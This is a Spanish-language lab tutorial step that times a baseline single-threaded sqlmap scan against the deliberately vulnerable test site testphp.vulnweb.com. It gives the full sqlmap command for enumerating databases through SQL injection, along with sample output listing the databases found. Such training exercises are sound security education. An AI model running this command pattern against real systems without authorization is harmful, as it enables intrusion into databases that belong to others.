Realizar un escaneo de referencia con un solo hilo
En este paso, realizará un escaneo básico de sqlmap utilizando la configuración predeterminada de un solo hilo. Esto servirá como nuestra referencia para medir las mejoras de rendimiento en los pasos posteriores. Utilizaremos el comando time para medir con precisión la duración del escaneo.
Primero, ejecute el siguiente comando en su terminal. Este comando le indica a sqlmap que escanee la URL proporcionada (-u), enumere las bases de datos (--dbs) y se ejecute en modo no interactivo (--batch). Redirigiremos la salida a un archivo de registro y también usaremos el comando time para medir el tiempo de ejecución.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log
Después de que el escaneo se complete, verá una gran cantidad de salida de sqlmap, seguida de la medición del tiempo al final. Se verá algo como esto:
... (salida de sqlmap) ...
[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema
[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'
[*] ending @ 22:30:00 /2023-10-27/
real 0m45.123s
user 0m5.456s
sys 0m0.789s
El valor más importante para nosotros es real, que representa el tiempo total de reloj transcurrido. Ahora, guardemos este resultado en nuestro archivo de comparación, scan_times.log.
echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log
Finalmente, vea el contenido del archivo de registro para confirmar que se ha registrado el tiempo de referencia.
Baseline (1 Thread): 0m45.123s